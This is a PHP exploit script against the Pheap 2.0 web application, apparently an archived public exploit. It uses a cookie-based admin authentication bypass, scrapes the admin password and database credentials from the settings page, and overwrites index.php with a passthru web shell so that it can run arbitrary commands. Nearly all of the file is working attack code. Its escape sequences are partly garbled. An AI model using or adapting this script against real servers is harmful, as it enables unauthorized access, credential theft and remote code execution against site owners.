#!/usr/bin/php -q -d short_open_tag=on
<?php

/*

Explanation:

The user verification routine used in most of the files is:

#####
#
#   include("lib/config.php");
#	if ($_COOKIE['pheap_login'] != $username){
#	header("Location: login.php");
#	} else { [CONTINUE EXECUTING CODE] }
#
#####

So basically it's saying "If the value within the cookie pheap_login is not the same value
that is assigned to the $username variable withing lib/config.php then you have to be redirected
to the login page".

So if we know the admin's username we can access any page that uses this authentication method. Also, 
we can retrieve all credentials in clear-text. ;)

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
print "-------------------------------------------------------------------------rn";
print "              Pheap 2.0 Admin Bypass/Remote Code Executionrn";
print "-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])rnrn";
print "[OPTION]  = 0 = Credentials Disclosuresrn";
print "            1 = Remote Code Executionrn";
print "[HOST] 	  = Target server's hostname or ip addressrn";
print "[PATH] 	  = Path where Pheap is locatedrn";
print "[USER] 	  = Admin's usernamern";
print "[COMMAND] = Command to executernrn";
print "e.g. w4ck1ng_pheap.php 0 victim.com /pheap/ adminrn";
print "     w4ck1ng_pheap.php 1 victim.com /pheap/ admin "ls -lia"rn";
print "-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print "-------------------------------------------------------------------------rn";
die;
}

// Props to rgod for the following functions

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$user = $argv[4];
$cmd  = $argv[5];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($exploit==0){

print "-------------------------------------------------------------------------rn";
print "              Pheap 2.0 Admin Bypass/Remote Code Executionrn";
print "-------------------------------------------------------------------------rn";

    $packet ="GET " . $path . "settings.php HTTP/1.1rn";
    $packet.="Content-Type: application/x-www-form-urlencodedrn";
    $packet.="Host: ".$host."rn";
    $packet.="Content-Length: ".strlen($data)."rn";
    $packet.="Cookie: pheap_login=" . $user . "rn";
    $packet.="Connection: Closernrn";

    sendpacketii($packet);

    if (strstr($html,"This is the settings panel")){}
    else{echo "...Failed!rn"; exit();}

    $temp=explode("name="user_name" class="ieleft" value="",$html);
    $temp2=explode("" /> <strong>:Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin User: " . $ret_user . "rn";

    $temp=explode("name="password" class="ieleft" value="",$html);
    $temp2=explode("" /> <strong>:Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin Pass: " . $ret_user . "rn";

    $temp=explode("name="dbhost" class="ieleft" id="dbhost" value="",$html);
    $temp2=explode("" /> <strong>:Database Host",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Host: " . $ret_user . "rn";

    $temp=explode("name="dbuser" class="ieleft" id="dbuser" value="",$html);
    $temp2=explode("" /> <strong>:Database Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database User: " . $ret_user . "rn";

    $temp=explode("name="dbpass" class="ieleft" id="dbpass" value="",$html);
    $temp2=explode("" /> <strong>:Database Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Pass: " . $ret_user . "rn";

print "-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print "-------------------------------------------------------------------------rn";
}

if($exploit==1){

    $packet ="GET " . $path . "edit.php?em=file&filename=" . $path . "index.php HTTP/1.1rn";
    $packet.="Content-Type: application/x-www-form-urlencodedrn";
    $packet.="Host: ".$host."rn";
    $packet.="Content-Length: ".strlen($data)."rn";
    $packet.="Cookie: pheap_login=" . $user . "rn";
    $packet.="Connection: Closernrn";

    sendpacketii($packet);

    $temp=explode("name="filename" value="",$html);
    $temp2=explode("">",$temp[1]);
    $fullpath=$temp2[0];

	$shell = '<?php echo "<font color=#FFFFFF>...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=#FFFFFF>...Silentz</font>";?>';
	$data = "mce_editor_0_styleSelect=";
	$data .= "&mce_editor_0_formatSelect=";
	$data .= "&mce_editor_0_fontNameSelect=";
	$data .= "&mce_editor_0_fontSizeSelect=0";
	$data .= "&mce_editor_0_zoomSelect=100%25";
	$data .= "&content=" . urlencode($shell);
	$data .= "&filename=" . urlencode($fullpath);
	$data .= "&update_text.x=57";
	$data .= "&update_text.y=15"; 

    $packet ="POST " . $path . "edit.php?action=update_doc HTTP/1.1rn";
    $packet.="Content-Type: application/x-www-form-urlencodedrn";
    $packet.="Accept: */*rn";
    $packet.="Host: ".$host."rn";
    $packet.="Content-Length: ".strlen($data)."rn";
    $packet.="Cookie: pheap_login=" . $user . "rn";
    $packet.="Referer: http://" . $host.$path . "edit.php?em=file&filename=" . $path . "index.phprn";
    $packet.="Connection: Closernrn";
    $packet.=$data;
    sendpacketii($packet);

    $packet ="GET " . $path . "index.php?cmd=" . $cmd . " HTTP/1.1rn";
    $packet.="Host: ".$host."rn";
    $packet.="Connection: Closernrn";
    sendpacketii($packet);

    if (strstr($html,"...Silentz"))
     {
	print "-------------------------------------------------------------------------rn";
	print "              Pheap 2.0 Admin Bypass/Remote Code Executionrn";
	print "-------------------------------------------------------------------------rn";

       $temp=explode("...Silentz</font>",$html);
       $temp2=explode("<font color=#FFFFFF>",$temp[1]);
       echo "===============================================================rnrn";
       echo $temp2[0];
       echo "rn===============================================================rn";
       echo "rn[+] Shell...http://" .$host.$path. "index.php?cmd=[COMMAND]rn";

	print "-------------------------------------------------------------------------rn";
	print "            		 http://www.w4ck1ng.comrn";
	print "            		        ...Silentzrn";
	print "-------------------------------------------------------------------------rn";

       die;
     }
}
?>

# www.Syue.com [2007-05-29]